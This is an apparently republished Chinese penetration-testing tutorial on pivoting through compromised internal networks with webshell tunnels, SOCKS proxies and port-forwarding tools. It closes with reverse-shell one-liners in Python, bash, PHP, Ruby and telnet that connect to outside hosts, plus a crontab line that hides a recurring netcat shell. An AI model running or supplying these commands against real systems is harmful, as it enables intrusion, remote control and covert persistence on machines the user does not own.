猫头鹰
信安舆情早知道

内网渗透 代理&转发

0x00前言

在我们进行内网渗透中,经常会遇到一些蛋疼的环境问题,比如拿下的目标机和自身的机器均处于内网之中,这时候想要对目标机内网进行渗透就会遇到一系列的问题.比如我如何用扫描器扫对方的内网?我没公网IP如何远程登录对方内网主机?我在这里做一个小小的整理,介绍一些内网环境和对应工具的使用,希望能帮助大家进行内网渗透的时候,突破一些环境的限制.

0x01端口复用

对于双内网环境,端口复用无疑是个很好的选择

1

我们经常遇到这种情况,即双方均在内网的情况下,拿下了对方内网服务器的一个webshell,想进一步利用却被环境限制,老式的做法就是利用lcx等工具将目标服务器的3389之类的端口反弹到公网,再连接,但如果没有公网环境呢?这时候端口复用就很好用了.

reDuh和Tunna都是在这种环境下很好用的工具,用法也大致相同,这里例举tunna来进行演示.

2

这是tunna的文件目录,我们需要传对应的conn.xxx文件到目标服务器

3

本地执行proxy,配置好webshell地址,本地监听端口,远程监听端口就行了

4

本地连接1234端口

5

6

可以看到,成功连接。

7

reDuh则更加友好,做了可视化界面,如何连接一目了然,就不做演示了。

二者存在相同的问题就是连接的稳定性不太好,但经过我多次的测试,tunna相比reDuh来说,稳定性和连接效果还是要好很多的,推荐使用tunna。

0x02 Sock代理

Sock代理是一种基于传输层的网络代理协议,不同于VPN,Sock代理只能对使用该代理协议的程序生效,因此,可以说它是一种局部代理,而不是像VPN一样的全局代理,速度也弱于VPN。但在我们渗透测试中,需要尽量对目标机制造出尽可能小的影响,因此,sock代理也经常会被用到。

Sock协议如今已发展到V5,它适用于服务器端能够寻址到客户端的环境,如下图

攻击端和内网主机处于同一网络环境下,或者攻击端具有公网IP,因为在服务器端运行sock脚本时会需要寻址到客户端。下面拓扑情况为攻击端无法直接访问内网主机:

8

我们在这里仅作简单的连接测试,攻击端为客户端,内网主机1为服务端

我们在内网主机1上执行

./rcsocks –l 10086 –p 10010 -vv

9

可以看到,正在监听

服务端执行

./rssocks –vv –s 192.168.50.106:10010

10

此时,服务器端响应

11

我们的代理连接成功建立。

但如果仅仅是这样,就显得有些鸡肋了,因为我们需要使用浏览器等工具进行内网渗透,而这些工具本身又没有带sock代理功能,因此,就需要使用到另一款工具:proxychains

在kali的/etc/proxychains.conf添加配置

Sock5 127.0.0.1 10086

12

然后在运行程序前加上proxychains,比如:

Proxychains firefox

这样就可以直接使用firefox访问内网主机2的web服务了。

还有很多类似的软件,比如Proxifier、CCproxy、ProxyCap等,如果和Teamviewer搭配起来,效果更佳,轻松实现多级内网穿透,因为环境搭起来比较复杂,就不演示了。

0x03 端口转发

端口转发这个我们在内网渗透中也是经常遇到,可以使用现成的一些工具或者通过脚本命令进行转发

常用的转发工具:

Netcat、Lcx、Htran、Fpipe

Netcat是大家都很熟悉的一款软件了,功能十分强大,安全人员必备工具之一。

13

这里只说端口转发命令,主要是-e参数,我们将一台win主机shell反弹到一台linux主机上,win上执行。

14

在linux主机上监听此端口

15

可以看到,连接成功建立。

Lcx和Htran就不多提了,一个copy另一个的,而且想必大家都用的很多

本地地执:htran.exe -Listen 9999 8888

肉鸡执行:htran.exe -Slave 入侵者的IP 9999 127.0.0.1 3389

即将肉鸡的3389端口转发到本地的8888端口

Fpipe这个主要就是用于端口重定向

16

举个例子

A为攻击端,B、C是位于内网的靶机

B可以访问外网且可以访问C,但C与外网不通

我们有了B服务器的一个shell,现在想尝试3389连接到C主机上,即将内网主机C的3389端口转发出来。

我们在B机器上执行”fpipe.exe -l 1000 -s 1000 -r 3389 C主机IP”,意思是将发送到本机1000端口的连接通过1000端口被重定向到了C主机的3389端口上,然后再连接B的1000端口即可连接到C的3389上

常用的转发脚本

Python
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Linux
exec 2>&0 0<&196;exec 196<>/dev/tcp/attackerIP/端口

Telnet(这种缺陷是会建立test文件,好处是不怎么依赖环境)
mknod test p && telnet 115.28.85.23 65512 0test

Crontab
(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab –

Php
php -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Bash
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

 

*来源:stardustsky@Hurricane Security  Mottoin授权发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 内网渗透 代理&转发

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们